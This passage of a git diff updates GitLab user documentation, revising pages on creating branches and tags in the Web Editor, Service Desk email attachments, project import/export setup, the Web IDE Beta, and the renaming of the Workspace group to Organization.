-be able to receive or send merge requests to the source project, or other forks.
-
-![Create Button](img/web_editor_new_branch_from_issue_create_button_v14_1.png)
-
-This dropdown contains the options **Create merge request and branch** and **Create branch**.
-
-![New Branch Button](img/web_editor_new_branch_from_issue_v14_1.png)
-
-After selecting one of these options, a new branch or branch and merge request
-is created based on your project's [default branch](branches/default.md).
-The branch name is based on an internal ID, and the issue title. The example
-screenshot above creates a branch named
-`2-make-static-site-auto-deploy-and-serve`.
-
-When you select the **Create branch** button in an empty
-repository project, GitLab performs these actions:
-
-- Creates a default branch.
-- Commits a blank `README.md` file to it.
-- Creates and redirects you to a new branch based on the issue title.
-- _If your project is [configured with a deployment service](../integrations/index.md) like Kubernetes,_
- GitLab prompts you to set up [auto deploy](../../../topics/autodevops/stages.md#auto-deploy)
- by helping you create a `.gitlab-ci.yml` file.
-
-After the branch is created, you can edit files in the repository to fix
-the issue. When a merge request is created based on the newly-created branch,
-the description field displays the [issue closing pattern](../issues/managing_issues.md#closing-issues-automatically)
-`Closes #ID`, where `ID` is the ID of the issue. This closes the issue when the
-merge request is merged.
-
-### Create a new branch from a project's dashboard
-
-If you want to make changes to several files before creating a new merge
-request, you can create a new branch upfront.
-
-1. From a project's files page, choose **New branch** from the dropdown list.
-
- ![New branch dropdown list](img/web_editor_new_branch_dropdown_v14_1.png)
-
-1. Enter a new **Branch name**.
-1. Optional. Change the **Create from** field to choose which branch, tag, or
- commit SHA this new branch originates from. This field autocompletes if you
- start typing an existing branch or tag.
-1. To return to the file browser on this new branch, select **Create branch**.
-
- ![New branch page](img/web_editor_new_branch_page_v14_1.png)
-
-You can now make changes to any files, as needed. When you're ready to merge
-the changes back to your [default branch](branches/default.md), you can use the widget at the top of the screen.
-This widget only appears for a period of time after you create the branch or
-modify files.
-
-![New push widget](img/web_editor_new_push_widget.png)
-
-## Create a new tag
-
-Tags help you mark major milestones such as production releases and
-release candidates. You can create a tag from a branch or a commit
-SHA:
-
-1. From a project's files page, choose **New tag** from the dropdown list.
-
- ![New tag dropdown list](img/web_editor_new_tag_dropdown.png)
-
-1. Give the tag a name such as `v1.0.0`.
-1. Choose the branch or SHA from which you want to create this new tag.
-1. Optional. Add a message and release notes. The release notes section supports
- Markdown format.
-1. Optional. Upload an attachment.
-1. Select **Create tag**. GitLab redirects you to the tag list page.
-
- ![New tag page](img/web_editor_new_tag_page.png)
-
-## Tips
+To create a directory in the Web Editor:
-When creating or uploading a new file or creating a new directory, you can
-trigger a new merge request rather than committing directly to your default branch:
+1. On the top bar, select **Main menu > Projects** and find your project.
+1. From the project dashboard or repository, next to the branch name, select the plus icon (**{plus}**).
+1. From the dropdown list, select **New directory**.
+1. Complete the fields. To create a merge request with the new directory, ensure the **Start a new merge request with these changes** toggle is turned on.
+1. Select **Create directory**.
-1. Enter a new branch name in the **Target branch** field.
-1. GitLab displays the **Start a new merge request with these changes** checkbox.
-1. Commit your changes, and GitLab redirects you to a new merge request form.
+## Create a branch
- ![Start a new merge request with these changes](img/web_editor_start_new_merge_request.png)
+To create a [branch](branches/index.md) in the Web Editor:
-If you'd prefer to not use your primary email address for commits created
-through the web editor, you can choose to use another of your linked email
-addresses from the **User Settings > Edit Profile** page.
+1. On the top bar, select **Main menu > Projects** and find your project.
+1. From the project dashboard or repository, next to the branch name, select the plus icon (**{plus}**).
+1. From the dropdown list, select **New branch**.
+1. Complete the fields.
+1. Select **Create branch**.
-<!-- ## Troubleshooting
+## Create a tag
-Include any troubleshooting steps that you can foresee. If you know beforehand what issues
-one might have when setting this up, or when something is changed, or on upgrading, it's
-important to describe those, too. Think of things that may go wrong and include them here.
-This is important to minimize requests for support, and to avoid doc comments with
-questions that you know someone might ask.
+You can create [tags](../../../topics/git/tags.md) to mark milestones such as
+production releases and release candidates. To create a tag in the Web Editor:
-Each scenario can be a third-level heading, for example `### Getting error message X`.
-If you have none to add when creating a doc, leave this section in place
-but commented out to help encourage others to add to it in the future. -->
+1. On the top bar, select **Main menu > Projects** and find your project.
+1. From the project dashboard or repository, next to the branch name, select the plus icon (**{plus}**).
+1. From the dropdown list, select **New tag**.
+1. Complete the fields.
+1. Select **Create tag**.
diff --git a/doc/user/project/service_desk.md b/doc/user/project/service_desk.md
index 0b52440d1e6..83cf47d508c 100644
--- a/doc/user/project/service_desk.md
+++ b/doc/user/project/service_desk.md
@@ -1,6 +1,6 @@
---
-stage: Plan
-group: Certify
+stage: Monitor
+group: Respond
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
@@ -111,6 +111,12 @@ With Service Desk, you can use templates for:
- [New note emails](#new-note-email)
- [New Service Desk issues](#new-service-desk-issues)
+#### Email header and footer **(FREE SELF)**
+
+Instance administrators can add a small header or footer to the GitLab instance and make them
+visible in the email template. For more information, see
+[System header and footer messages](../admin_area/appearance.md#system-header-and-footer-messages).
+
#### Thank you email
When a user submits an issue through Service Desk, GitLab sends a **thank you email**.
@@ -359,6 +365,17 @@ Note that:
- The project's visibility (private, internal, public) does not affect Service Desk.
- The path to the project, including its group or namespace, is shown in emails.
+#### Receiving files attached to comments as email attachments
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11733) in GitLab 15.8 [with a flag](../../administration/feature_flags.md) named `service_desk_new_note_email_native_attachments`. Disabled by default.
+
+FLAG:
+On self-managed GitLab, by default this feature is not available. To make it available per project or for your entire instance, ask an administrator to [enable the feature flag](../../administration/feature_flags.md) named `service_desk_new_note_email_native_attachments`.
+On GitLab.com, this feature is not available.
+
+If a comment contains any attachments and their total size is less than or equal to 10 MB, these
+attachments are sent as part of the email. In other cases, the email contains links to the attachments.
+
#### Privacy considerations
Service Desk issues are confidential, but the project owner can
diff --git a/doc/user/project/settings/import_export.md b/doc/user/project/settings/import_export.md
index d83a80ddb13..b85f52d43bb 100644
--- a/doc/user/project/settings/import_export.md
+++ b/doc/user/project/settings/import_export.md
@@ -27,14 +27,22 @@ To preserve contribution history, [migrate using direct transfer](../../group/im
If you migrate from GitLab.com to self-managed GitLab, an administrator can create users on the self-managed GitLab instance.
-## Set up project to migrate using file exports
+## Configure file exports as an import source **(FREE SELF)**
-Before you can import or export a project and its data, you must set it up.
+Before you can migrate projects on a self-managed GitLab instance using file exports, GitLab administrators must:
+1. [Enable file exports](../../admin_area/settings/visibility_and_access_controls.md#enable-project-export) on the source
+ instance.
+1. Enable file exports as an import source for the destination instance. On GitLab.com, file exports are already enabled
+ as an import source.
+
+To enable file exports as an import source for the destination instance:
+
+1. On the top bar, select **Main menu > Admin**.
1. On the left sidebar, select **Settings > General**.
1. Expand **Visibility and access controls**.
1. Scroll to **Import sources**.
-1. Enable the desired **Import sources**.
+1. Select the **GitLab export** checkbox.
## Between CE and EE
@@ -53,6 +61,7 @@ Prerequisites:
- Review the list of [items that are exported](#items-that-are-exported). Not all items are exported.
- You must have at least the Maintainer role for the project.
+- Users must [set a public email](../../profile/index.md#set-your-public-email) in the source GitLab instance that matches one of their verified emails in the target GitLab instance for the user mapping to work correctly.
To export a project and its data, follow these steps:
@@ -136,12 +145,13 @@ Prerequisites:
- You must have [exported the project and its data](#export-a-project-and-its-data).
- Compare GitLab versions and ensure you are importing to a GitLab version that is the same or later
than the GitLab version you exported to.
-- Review the [Version history](#version-history)
- for compatibility issues.
+- Review the [Version history](#version-history) for compatibility issues.
+- At least the Maintainer role on the destination group to migrate to. Using the Developer role for this purpose was
+ [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0.
To import a project:
-1. When [creating a new project](../working_with_projects.md#create-a-project),
+1. When [creating a new project](../index.md#create-a-project),
select **Import project**.
1. In **Import project from**, select **GitLab export**.
1. Enter your project name and URL. Then select the file you exported previously.
@@ -212,6 +222,11 @@ To help avoid abuse, by default, users are rate limited to:
## Version history
+### 15.8+
+
+Starting with GitLab 15.8, importing groups from a JSON export is no longer supported. Groups must be imported
+in NDJSON format.
+
### 14.0+
In GitLab 14.0, the JSON format is no longer supported for project and group exports. To allow for a
diff --git a/doc/user/project/settings/index.md b/doc/user/project/settings/index.md
index a88427ab20b..3798643549d 100644
--- a/doc/user/project/settings/index.md
+++ b/doc/user/project/settings/index.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: 'To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments'
type: reference, index, howto
---
@@ -239,7 +239,7 @@ Prerequisites:
- You must have at least the Maintainer role for the [group](../../group/manage.md#create-a-group) to which you are transferring.
- You must be the Owner of the project you transfer.
- The group must allow creation of new projects.
-- The project must not contain any [container images](../../packages/container_registry/index.md#known-issues).
+- The project must not contain any [container images](../../packages/container_registry/index.md#move-or-rename-container-registry-repositories).
- Remove any npm packages. If you transfer a project to a different root namespace, the project must not contain any npm packages. When you update the path of a user or group, or transfer a subgroup or project, you must remove any npm packages first. You cannot update the root namespace of a project with npm packages. Make sure you update your .npmrc files to follow the naming convention and run npm publish if necessary.
To transfer a project:
diff --git a/doc/user/project/web_ide/index.md b/doc/user/project/web_ide/index.md
index fb100986df9..4648df7dbd7 100644
--- a/doc/user/project/web_ide/index.md
+++ b/doc/user/project/web_ide/index.md
@@ -91,21 +91,17 @@ You can pick a theme from your [profile preferences](../../profile/preferences.m
|-------------------------------------------------------------|-----------------------------------------|
| ![Solarized Dark Theme](img/solarized_dark_theme_v13_1.png) | ![Dark Theme](img/dark_theme_v13_0.png) |
-## Highlight lines
+## Link to specific lines
-The Web IDE is built with the [Web Editor](../repository/web_editor.md). This enables the Web IDE to share the
-same core features for highlighting and linking to particular lines in the edited files
-[described for the Web Editor](../repository/web_editor.md#highlight-lines).
+The Web IDE and the [Web Editor](../repository/web_editor.md) share the
+same core features. To link to specific lines in the Web IDE, see
+[Web Editor](../repository/web_editor.md#link-to-specific-lines).
## Schema based validation
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218472) validation based on predefined schemas in GitLab 13.2 [with a flag](../../../administration/feature_flags.md) named `schema_linting`. Disabled by default.
-
-FLAG:
-On self-managed GitLab, by default this feature is not available. To make it available for your entire instance, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `schema_linting`.
-This feature cannot be enabled or disabled per-project.
-On GitLab.com, this feature is available.
-You should not use this feature for production environments.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218472) validation based on predefined schemas in GitLab 13.2 [with a flag](../../../administration/feature_flags.md) named `schema_linting`.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104399) in GitLab 15.7.
+> - On self-managed GitLab [enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107488) in GitLab 15.8.
The Web IDE provides validation support for certain JSON and YAML files using schemas
based on the [JSON Schema Store](https://www.schemastore.org/json/).
@@ -446,13 +442,12 @@ when:
- You select any area outside the file editor after editing a file.
- A file or folder is created, deleted, or renamed.
-### Limitations
+### Known issues
The Web IDE has a few limitations:
- Interactive Terminals is in a beta phase and continues to be improved in upcoming releases. In the meantime, the user is limited to having only one
active terminal at a time.
-
- LFS files can be rendered and displayed but they cannot be updated and committed using the Web IDE. If an LFS file is modified and pushed to the repository, the LFS pointer in the repository is overwritten with the modified LFS file content.
### Troubleshooting
@@ -463,3 +458,7 @@ The Web IDE has a few limitations:
- If the terminal displays **Connection Failure**, then the terminal could not
connect to the runner. Try to stop and restart the terminal. If the
problem persists, double check your runner configuration.
+
+## Related topics
+
+- [Web IDE Beta](../web_ide_beta/index.md)
diff --git a/doc/user/project/web_ide_beta/index.md b/doc/user/project/web_ide_beta/index.md
index ef07cca465d..4f84110a038 100644
--- a/doc/user/project/web_ide_beta/index.md
+++ b/doc/user/project/web_ide_beta/index.md
@@ -6,17 +6,17 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Web IDE Beta **(FREE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/95169) in GitLab 15.4 [with a flag](../../../administration/feature_flags.md) named `vscode_web_ide`. Disabled by default.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/95169) in GitLab 15.7 [with a flag](../../../administration/feature_flags.md) named `vscode_web_ide`. Disabled by default.
FLAG:
-On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `vscode_web_ide`. On GitLab.com, this feature is available.
+On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `vscode_web_ide`. On GitLab.com, this feature is available. The feature is not ready for production use.
As announced in [this blog post](https://about.gitlab.com/blog/2022/05/23/the-future-of-the-gitlab-web-ide/),
-the current implementation of the Web IDE is being replaced with an
-implementation inspired by Visual Studio Code.
+the current implementation of the [Web IDE](../web_ide/index.md) is being replaced
+with an implementation powered by Visual Studio Code. This effort is still under
+development. For updates, see [this epic](https://gitlab.com/groups/gitlab-org/-/epics/7683).
-This effort is currently under development. For updates,
-see [this epic](https://gitlab.com/groups/gitlab-org/-/epics/7683).
+To pair the Web IDE Beta with a Remote Development environment, see [Remote Development](../remote_development/index.md).
## Enable the Web IDE Beta
@@ -34,7 +34,7 @@ To open the Web IDE Beta from anywhere in the UI:
- Use the <kbd>.</kbd> [keyboard shortcut](../../shortcuts.md).
You can also open the Web IDE Beta when viewing a file, the repository file list,
-and from merge requests.
+or a merge request.
### Use when viewing a file or the repository file list
@@ -59,45 +59,48 @@ To open the Web IDE Beta from a merge request:
To open any file by its name:
-1. Type **Command** + **`P`** (<kbd>⌘</kbd> + <kbd>P</kbd>).
-1. Type the name of your file.
+1. Press <kbd>Command</kbd>+<kbd>P</kbd>.
+1. Enter the name of your file.
![fuzzy_finder_v15_7](img/fuzzy_finder_v15_7.png)
## Search across files
-You can use VS Code to quickly search all files in the currently opened folder.
+You can use VS Code to quickly search all files in the opened folder.
-To enter your search term:
+To search across files:
-1. Type **Shift** + **Command** + **`F`** (<kbd>⇧</kbd> + <kbd>⌘</kbd> + <kbd>F</kbd>).
+1. Press <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>F</kbd>.
1. Enter your search term.
In the Web IDE Beta, only partial results from opened files are displayed.
Full file search is planned for a later date.
-## View list of changed files
+## View a list of changed files
-To view the list of files you changed in the Web IDE Beta:
+To view a list of files you changed in the Web IDE Beta,
+in the Activity Bar on the left, select **Source Control**.
+Your `CHANGES`, `STAGED CHANGES`, and `MERGE CHANGES` are displayed.
-- On the VS Code Activity Bar, on the left, select the Source Control icon:
+For details, see the [VS Code documentation](https://code.visualstudio.com/docs/sourcecontrol/overview#_commit).
-Your `CHANGES`, `STAGED CHANGES` and `MERGE CHANGES` are displayed.
+## Stop using the Web IDE Beta
-For details, see [the VS Code documentation](https://code.visualstudio.com/docs/sourcecontrol/overview#_commit).
+If you do not want to use the Web IDE Beta, you can change your personal preferences.
+
+1. On the top bar, in the top right corner, select your avatar.
+1. Select **Preferences**.
+1. In the **Web IDE** section, select the **Opt out of the Web IDE Beta** checkbox.
+1. Select **Save changes**.
## Known issues
The [Web Terminal](../web_ide/index.md#interactive-web-terminals-for-the-web-ide)
and [Live Preview](../web_ide/index.md#live-preview) are not available in the Web IDE Beta.
-These features may become available at a later date.
+These features might become available at a later date.
-### Stop using the Web IDE Beta
+## Related topics
-If you do not want to use the Web IDE Beta, you can change your personal preferences.
-
-1. On the top bar, in the top right corner, select your avatar.
-1. Select **Preferences**.
-1. In the **Web IDE** section, select the **Opt out of the Web IDE Beta** checkbox.
-1. Select **Save changes**.
+- [Remote Development](../remote_development/index.md)
+- [Web IDE](../web_ide/index.md)
diff --git a/doc/user/project/working_with_projects.md b/doc/user/project/working_with_projects.md
index 77a7c48658e..92db90d66dc 100644
--- a/doc/user/project/working_with_projects.md
+++ b/doc/user/project/working_with_projects.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments"
---
@@ -16,7 +16,7 @@ To view projects, on the top bar, select **Main menu > Projects > View all proje
NOTE:
The **Explore projects** tab is visible to unauthenticated users unless the
[**Public** visibility level](../admin_area/settings/visibility_and_access_controls.md#restrict-visibility-levels)
-is restricted. Then the tab is visible only to signed-in users.
+is restricted. Then the tab is visible only to authenticated users.
### Who can view the Projects page
@@ -56,196 +56,6 @@ You can assign topics to a project on the [Project Settings page](settings/index
If you're an instance administrator, you can administer all project topics from the
[Admin Area's Topics page](../admin_area/index.md#administering-topics).
-## Create a project
-
-To create a project in GitLab:
-
-1. On the top bar, select **Main menu > Projects > View all projects**.
-1. On the right of the page, select **New project**.
-1. Select an option:
- - Create a [blank project](#create-a-blank-project).
- - Create a project from a:
- - [built-in template](#create-a-project-from-a-built-in-template).
- - [custom template](#create-a-project-from-a-custom-template).
- - [HIPAA audit protocol template](#create-a-project-from-the-hipaa-audit-protocol-template).
- - [Import a project](../../user/project/import/index.md)
- from a different repository. Contact your GitLab administrator if this option is not available.
- - [Connect an external repository to GitLab CI/CD](../../ci/ci_cd_for_external_repos/index.md).
-
-- For a list of words that you cannot use as project names, see
- [reserved project and group names](../../user/reserved_names.md).
-- For a list of characters that you cannot use in project and group names, see
- [limitations on project and group names](../../user/reserved_names.md#limitations-on-project-and-group-names).
-
-## Create a blank project
-
-To create a blank project:
-
-1. On the top bar, select **Main menu > Projects > View all projects**.
-1. On the right of the page, select **New project**.
-1. Select **Create blank project**.
-1. Enter the project details:
- - In the **Project name** field, enter the name of your project. You cannot use special characters at
- the start or end of a project name.
- - In the **Project slug** field, enter the path to your project. The GitLab instance uses the
- slug as the URL path to the project. To change the slug, first enter the project name,
- then change the slug.
- - In the **Project deployment target (optional)** field, select your project's deployment target.
- This information helps GitLab better understand its users and their deployment requirements.
- - To modify the project's [viewing and access rights](../public_access.md) for
- users, change the **Visibility Level**.
- - To create README file so that the Git repository is initialized, has a default branch, and
- can be cloned, select **Initialize repository with a README**.
- - To analyze the source code in the project for known security vulnerabilities,
- select **Enable Static Application Security Testing (SAST)**.
-1. Select **Create project**.
-
-## Create a project from a built-in template
-
-A built-in project template populates a new project with files to get you started.
-Built-in templates are sourced from the following groups:
-
-- [`project-templates`](https://gitlab.com/gitlab-org/project-templates)
-- [`pages`](https://gitlab.com/pages)
-
-Anyone can [contribute a built-in template](../../development/project_templates.md).
-
-To create a project from a built-in template:
-
-1. On the top bar, select **Main menu > Projects > View all projects**.
-1. On the right of the page, select **New project**.
-1. Select **Create from template**.
-1. Select the **Built-in** tab.
-1. From the list of templates:
- - To view a preview of the template, select **Preview**.
- - To use a template for the project, select **Use template**.
-1. Enter the project details:
- - In the **Project name** field, enter the name of your project. You cannot use special characters at
- the start or end of a project name.
- - In the **Project slug** field, enter the path to your project. The GitLab instance uses the
- slug as the URL path to the project. To change the slug, first enter the project name,
- then change the slug.
- - In the **Project description (optional)** field, enter the description of your project's dashboard.
- - To modify the project's [viewing and access rights](../public_access.md) for users,
- change the **Visibility Level**.
-1. Select **Create project**.
-
-## Create a project from a custom template **(PREMIUM)**
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6860) in GitLab 11.2.
-
-Custom project templates are available at:
-
-- The [instance-level](../../user/admin_area/custom_project_templates.md)
-- The [group-level](../../user/group/custom_project_templates.md)
-
-1. On the top bar, select **Main menu > Projects > View all projects**.
-1. On the right of the page, select **New project**.
-1. Select **Create from template**.
-1. Select the **Instance** or **Group** tab.
-1. From the list of templates:
- - To view a preview of the template, select **Preview**.
- - To use a template for the project, select **Use template**.
-1. Enter the project details:
- - In the **Project name** field, enter the name of your project. You cannot use special characters at
- the start or end of a project name.
- - In the **Project slug** field, enter the path to your project. The GitLab instance uses the
- slug as the URL path to the project. To change the slug, first enter the project name,
- then change the slug.
- - The description of your project's dashboard in the **Project description (optional)** field.
- - To modify the project's [viewing and access rights](../public_access.md) for users,
- change the **Visibility Level**.
-1. Select **Create project**.
-
-## Create a project from the HIPAA Audit Protocol template **(ULTIMATE)**
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13756) in GitLab 12.10
-
-The HIPAA Audit Protocol template contains issues for audit inquiries in the
-HIPAA Audit Protocol published by the U.S Department of Health and Human Services.
-
-To create a project from the HIPAA Audit Protocol template:
-
-1. On the top bar, select **Main menu > Projects > View all projects**.
-1. On the right of the page, select **New project**.
-1. Select **Create from template**.
-1. Select the **Built-in** tab.
-1. Locate the **HIPAA Audit Protocol** template:
- - To view a preview of the template, select **Preview**.
- - To use the template for the project, select **Use template**.
-1. Enter the project details:
- - In the **Project name** field, enter the name of your project. You cannot use special characters at
- the start or end of a project name.
- - In the **Project slug** field, enter the path to your project. The GitLab instance uses the
- slug as the URL path to the project. To change the slug, first enter the project name,
- then change the slug.
- - In the **Project description (optional)** field, enter the description of your project's dashboard.
- - To modify the project's [viewing and access rights](../public_access.md) for users,
- change the **Visibility Level**.
-1. Select **Create project**.
-
-## Create a new project with Git push
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/26388) in GitLab 10.5.
-
-Use `git push` to push a local project repository to GitLab. After you push a repository,
-GitLab creates your project in your chosen namespace.
-
-You cannot use `git push` to create projects with project paths that:
-
-- Have previously been used.
-- Have been [renamed](settings/index.md#rename-a-repository).
-
-Previously used project paths have a redirect. The redirect causes push attempts to redirect requests
-to the renamed project location, instead of creating a new project. To create a new project for a previously
-used or renamed project, use the [UI](#create-a-project) or the [Projects API](../../api/projects.md#create-project).
-
-Prerequisites:
-
-- To push with SSH, you must have [an SSH key](../ssh.md) that is
- [added to your GitLab account](../ssh.md#add-an-ssh-key-to-your-gitlab-account).
-- You must have permission to add new projects to a namespace. To check if you have permission:
-
- 1. On the top bar, select **Main menu > Groups** and find your group.
- 1. Confirm that **New project** is visible in the upper right
- corner. Contact your GitLab
- administrator if you require permission.
-
-To push your repository and create a project:
-
-1. Push with SSH or HTTPS:
- - To push with SSH:
-
- ```shell
- git push --set-upstream git@gitlab.example.com:namespace/myproject.git master
- ```
-
- - To push with HTTPS:
-
- ```shell
- git push --set-upstream https://gitlab.example.com/namespace/myproject.git master
- ```
-
- - For `gitlab.example.com`, use the domain name of the machine that hosts your Git repository.
- - For `namespace`, use the name of your [namespace](../namespace/index.md).
- - For `myproject`, use the name of your project.
- - Optional. To export existing repository tags, append the `--tags` flag to your `git push` command.
-1. Optional. To configure the remote:
-
- ```shell
- git remote add origin https://gitlab.example.com/namespace/myproject.git
- ```
-
-When the push completes, GitLab displays the message:
-
-```shell
-remote: The private project namespace/myproject was created.
-```
-
-To view your new project, go to `https://gitlab.example.com/namespace/myproject`.
-Your project's visibility is set to **Private** by default. To change project visibility, adjust your
-[project's settings](../public_access.md#change-project-visibility).
-
## Star a project
You can add a star to projects you use frequently to make them easier to find.
diff --git a/doc/user/public_access.md b/doc/user/public_access.md
index acfc28a6f65..773c14c9ec8 100644
--- a/doc/user/public_access.md
+++ b/doc/user/public_access.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
type: reference
---
@@ -32,19 +32,19 @@ They are listed in the public access directory (`/public`) for all users.
Public groups can have public, internal, or private subgroups.
-**Any signed-in user** has the Guest role on the repository.
+**Any authenticated user** has the Guest role on the repository.
NOTE:
By default, `/public` is visible to unauthenticated users. However, if the
[**Public** visibility level](admin_area/settings/visibility_and_access_controls.md#restrict-visibility-levels)
-is restricted, `/public` is visible only to signed-in users.
+is restricted, `/public` is visible only to authenticated users.
## Internal projects and groups **(FREE SELF)**
-Internal projects can be cloned by any signed-in user except
+Internal projects can be cloned by any authenticated user except
[external users](admin_area/external_users.md).
-They are also listed in the public access directory (`/public`), but only for signed-in users.
+They are also listed in the public access directory (`/public`), but only for authenticated users.
Internal groups can have internal or private subgroups.
diff --git a/doc/user/read_only_namespaces.md b/doc/user/read_only_namespaces.md
index b11aac9b00c..345a3a87189 100644
--- a/doc/user/read_only_namespaces.md
+++ b/doc/user/read_only_namespaces.md
@@ -2,7 +2,6 @@
stage: Growth
group: Acquisition
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
-noindex: true
---
# Read-only namespaces **(FREE SAAS)**
diff --git a/doc/user/reserved_names.md b/doc/user/reserved_names.md
index 3eaf3178f3a..372ec141112 100644
--- a/doc/user/reserved_names.md
+++ b/doc/user/reserved_names.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
diff --git a/doc/user/search/img/search_navbar_v15_7.png b/doc/user/search/img/search_navbar_v15_7.png
index 9175347b36f..775c7f32b37 100644
--- a/doc/user/search/img/search_navbar_v15_7.png
+++ b/doc/user/search/img/search_navbar_v15_7.png
Binary files differ
diff --git a/doc/user/search/img/search_scope_v15_7.png b/doc/user/search/img/search_scope_v15_7.png
index 6395b5f1cda..96f6e985523 100644
--- a/doc/user/search/img/search_scope_v15_7.png
+++ b/doc/user/search/img/search_scope_v15_7.png
Binary files differ
diff --git a/doc/user/snippets.md b/doc/user/snippets.md
index ee84f8a4169..70669748cd8 100644
--- a/doc/user/snippets.md
+++ b/doc/user/snippets.md
@@ -1,6 +1,6 @@
---
stage: Create
-group: Editor
+group: Source Code
info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments"
type: reference
---
diff --git a/doc/user/ssh.md b/doc/user/ssh.md
index 1d82d301e9a..b71b120d246 100644
--- a/doc/user/ssh.md
+++ b/doc/user/ssh.md
@@ -278,7 +278,8 @@ To learn more about using 1Password with SSH keys, see [1Password's documentatio
## Add an SSH key to your GitLab account
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/271239) in GitLab 15.4, default expiration date suggested in UI.
+> - Suggested default expiration date for keys [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/271239) in GitLab 15.4.
+> - Usage types for SSH keys [added](https://gitlab.com/gitlab-org/gitlab/-/issues/383046) in GitLab 15.7.
To use SSH with GitLab, copy your public key to your GitLab account:
diff --git a/doc/user/tasks.md b/doc/user/tasks.md
index ffe7777fac0..aad53f4165c 100644
--- a/doc/user/tasks.md
+++ b/doc/user/tasks.md
@@ -30,8 +30,8 @@ and so you can provide a more accurate issue weight and completion criteria.
Tasks are a type of work item, a step towards [default issue types](https://gitlab.com/gitlab-org/gitlab/-/issues/323404)
in GitLab.
For the roadmap of migrating issues and [epics](group/epics/index.md)
-to work items and adding custom work item types, visit
-[epic 6033](https://gitlab.com/groups/gitlab-org/-/epics/6033) or
+to work items and adding custom work item types, see
+[epic 6033](https://gitlab.com/groups/gitlab-org/-/epics/6033) or the
[Plan direction page](https://about.gitlab.com/direction/plan/).
## View tasks
@@ -168,6 +168,10 @@ To change the assignee on a task:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/339756) in GitLab 15.5.
+Prerequisites:
+
+- You must have at least the Reporter role for the project.
+
To add [labels](project/labels.md) to a task:
1. In the issue description, in the **Tasks** section, select the title of the task you want to edit. The task window opens.
@@ -225,7 +229,7 @@ To add a task to a milestone:
1. In the issue description, in the **Tasks** section, select the title of the task you want to edit.
The task window opens.
1. Next to **Milestone**, select **Add to milestone**.
-If a task already belongs to a milestone, the dropdown list shows the current milestone.
+ If a task already belongs to a milestone, the dropdown list shows the current milestone.
1. From the dropdown list, select the milestone to be associated with the task.
## Set task weight **(PREMIUM)**
diff --git a/doc/user/todos.md b/doc/user/todos.md
index 4102d31cfc4..221e89d658c 100644
--- a/doc/user/todos.md
+++ b/doc/user/todos.md
@@ -50,6 +50,8 @@ A to-do item is added to your To-Do List when:
merge request is removed from a
[merge train](../ci/pipelines/merge_trains.md),
and you're the user that added it.
+- [In GitLab 15.8](https://gitlab.com/gitlab-org/gitlab/-/issues/374725) and later,
+ a member access request is raised for a group or project you're an owner of.
When several actions occur for the same user on the same object,
GitLab displays the first action as a single to-do item.
diff --git a/doc/user/usage_quotas.md b/doc/user/usage_quotas.md
index 0e5703caffc..c6c27f36618 100644
--- a/doc/user/usage_quotas.md
+++ b/doc/user/usage_quotas.md
@@ -7,6 +7,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Storage usage quota **(FREE)**
+Storage usage statistics are available for projects and namespaces. You can use that information to
+manage storage usage within the applicable quotas.
+
+Statistics include:
+
+- Storage usage across projects in a namespace.
+- Storage usage that exceeds the storage quota.
+- Available purchased storage.
+
## View storage usage
Prerequisites:
diff --git a/doc/user/workspace/index.md b/doc/user/workspace/index.md
index 4a8b083e3a2..e4e1edd6346 100644
--- a/doc/user/workspace/index.md
+++ b/doc/user/workspace/index.md
@@ -1,10 +1,10 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Workspace
+# Organization
DISCLAIMER:
This page contains information related to upcoming products, features, and functionality.
@@ -15,9 +15,9 @@ The development, release, and timing of any products, features, or functionality
sole discretion of GitLab Inc.
NOTE:
-Workspace is in development.
+Organization is in development.
-Workspace will be above the [top-level namespaces](../namespace/index.md) for you to manage
+Organization will be above the [top-level namespaces](../namespace/index.md) for you to manage
everything you do as a GitLab administrator, including:
- Defining and applying settings to all of your groups, subgroups, and projects.
@@ -26,11 +26,11 @@ everything you do as a GitLab administrator, including:
